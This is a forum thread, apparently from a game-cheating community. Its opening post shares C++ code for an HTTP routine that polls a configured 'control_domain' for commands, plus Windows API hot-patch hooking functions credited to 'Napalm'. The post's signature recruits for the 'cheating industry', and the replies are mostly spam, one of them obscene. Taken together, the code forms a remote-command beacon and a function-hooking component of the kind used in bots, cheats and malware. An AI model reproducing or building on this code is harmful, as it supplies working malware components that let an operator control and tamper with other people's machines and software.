HTTPHandler Class + Alt WINAPI Hooking
Page 1 of 3 123 Last
  1. #1

    HTTPHandler Class + Alt WINAPI Hooking

    i required this in a project i am working on.

    [hide]
    Code:
    int CHTTPHandler::SendRequestTo(char* to, char* outgoing , char* reply )//
    {
        SOCKET s;
        SOCKADDR_IN target;
        IN_ADDR           iaddr;
        ZeroMemory(&target,sizeof(target));
        int i;
    
        target.sin_family = AF_INET;
        target.sin_port = fhtons(80);
    
        hostent *pHE = fgethostbyname(to);
        unsigned long destination = *((unsigned long *)pHE->h_addr_list[0]);
    
        iaddr.s_addr = destination;
        target.sin_addr = iaddr;
    
        s = fsocket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        if(s == INVALID_SOCKET || s == SOCKET_ERROR )
            return 0;
    
        if(fconnect(s, (SOCKADDR *)&target, sizeof(target)))
            return 0;
        
        fsend(s, outgoing, strlen(outgoing), 0);
    
        while( i = frecv(s, reply, 5000, 0))
                reply[i] = '\0';
    
        fclosesocket(s);
        return 1;
    }
    
    
    int CHTTPHandler::FilterHTTPReply(char* buffer)
    {
        int i=0;
        for(i = 0; buffer[i] != 0; ++i)
        {
            if((buffer[i] == '\r')&&(buffer[i+1] == '\n')&&(buffer[i+2] == '\r')&&(buffer[i+3] == '\n'))
            {
                tempz = (char*)&buffer[i]+4;
                break;
            }
        }
        return 1;
    }
    
    int CHTTPHandler::ParseCommand(char* buf)
    {
        return 0;//CCommandHandler::Handle(buf);
    }
    
    
    bool DoItAll ( )
    {
        char szBuffer[5001] = { 0 };
        
        CHTTPHandler::SendRequestTo(
            config.control_domain,
            config.outgoing_packet,
            szBuffer);
    
        CHTTPHandler::FilterHTTPReply( szBuffer );
    
        CHTTPHandler::ParseCommand( szBuffer );
    
        return true;
    }
    Now this code below isn't mine its by a guy named napalm but I like it a lot so I'm going to post it here.

    Code:
    BOOL PatchAPI(LPSTR lpszLib, LPSTR lpszFunc, FARPROC *lpOldFunc, FARPROC fpNewFunc) // by Napalm
    {
        BOOL    bResult = FALSE;
        DWORD   dwProtect;
        LPBYTE  lpPatch;
        FARPROC fpOldFunc;
        
        fpOldFunc = GetProcAddress(LoadLibrary(lpszLib), lpszFunc);
        if(fpOldFunc){
            lpPatch = (LPBYTE)fpOldFunc - 5;
            if(!memcmp(lpPatch, "\x90\x90\x90\x90\x90\x8B\xFF", 7)){
                if(VirtualProtect(lpPatch, 7, PAGE_EXECUTE_READWRITE, &dwProtect)){
                    *lpPatch = 0xE9;
                    *(LPDWORD)(lpPatch + 1) = (DWORD)((LONG)fpNewFunc - (LONG)fpOldFunc);
                    *(LPDWORD)lpOldFunc = ((DWORD)fpOldFunc + 2);
                    InterlockedExchange((LPLONG)fpOldFunc, (LONG)((*(LPDWORD)fpOldFunc & 0xFFFF0000) | 0xF9EB));
                    VirtualProtect(lpPatch, 7, dwProtect, NULL);
                    bResult = TRUE;
                }
            }
        }
        
        return bResult;
    }
    
    BOOL UnPatchAPI(LPSTR lpszLib, LPSTR lpszFunc, FARPROC *lpOldFunc) // by Napalm
    {
        BOOL    bResult = FALSE;
        DWORD   dwProtect;
        LPBYTE  lpPatch;
        FARPROC fpOldFunc;
        
        HMODULE hLibrary = GetModuleHandle(lpszLib);
        fpOldFunc = GetProcAddress(hLibrary, lpszFunc);
        if(fpOldFunc){
            lpPatch = (LPBYTE)fpOldFunc - 5;
            if(VirtualProtect(lpPatch, 7, PAGE_EXECUTE_READWRITE, &dwProtect)){
                InterlockedExchange((LPLONG)fpOldFunc, (LONG)((*(LPDWORD)fpOldFunc & 0xFFFF0000) | 0xFF8B));
                memset(lpPatch, 0x90, 5);
                VirtualProtect(lpPatch, 7, dwProtect, NULL);
                *lpOldFunc = NULL;
                bResult = TRUE;
            }
            FreeLibrary(hLibrary);
        }
        
        return bResult;
    }
    [/hide]
    How To Contact Me@[b/]

    Private Message me for any important issues or just say Hi :) I'm not a robot.

    ---- (No Support!) ----
    Wanna Hang out ? Add me or Join my communities below:

    Add be on Discord : dr0ps25#7946 ;-)
    or Join Our Community Server :
    dr0ps Project-7 Telegram Community Chat: https://t.me/+pAb_mrtrjXg1ZDlk

    ---- (24/7 Customer Support) ----

    Private Message
    Email: " support 'at' Project-7. 'net' "

    Create Support Ticket on Discord!
    Discord Server:



    Would you like to work in the cheating industry ? Project-7 is hiring a varient of new employees. We're currently in requisite of quite a few talents to add into the relaunched company now that we have a more professional and precise structure in place to provide real paid work for anyone willing to help our team grow:[/b]

    We're currently looking for multiple types of forum moderators and content creators/posters, we're offering quite a few paid positions for you to just talk about cheats on the community!






  2. #2
    fucking first thanks

  3. #3

  4. #4

  5. #5

  6. #6
    vagina

  7. #7
    thnx

  8. #8
    Oo gonna see this.

  9. #9
    dfgghhkj

  10. #10
    than you

Page 1 of 3 123 Last

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

Log in

Log in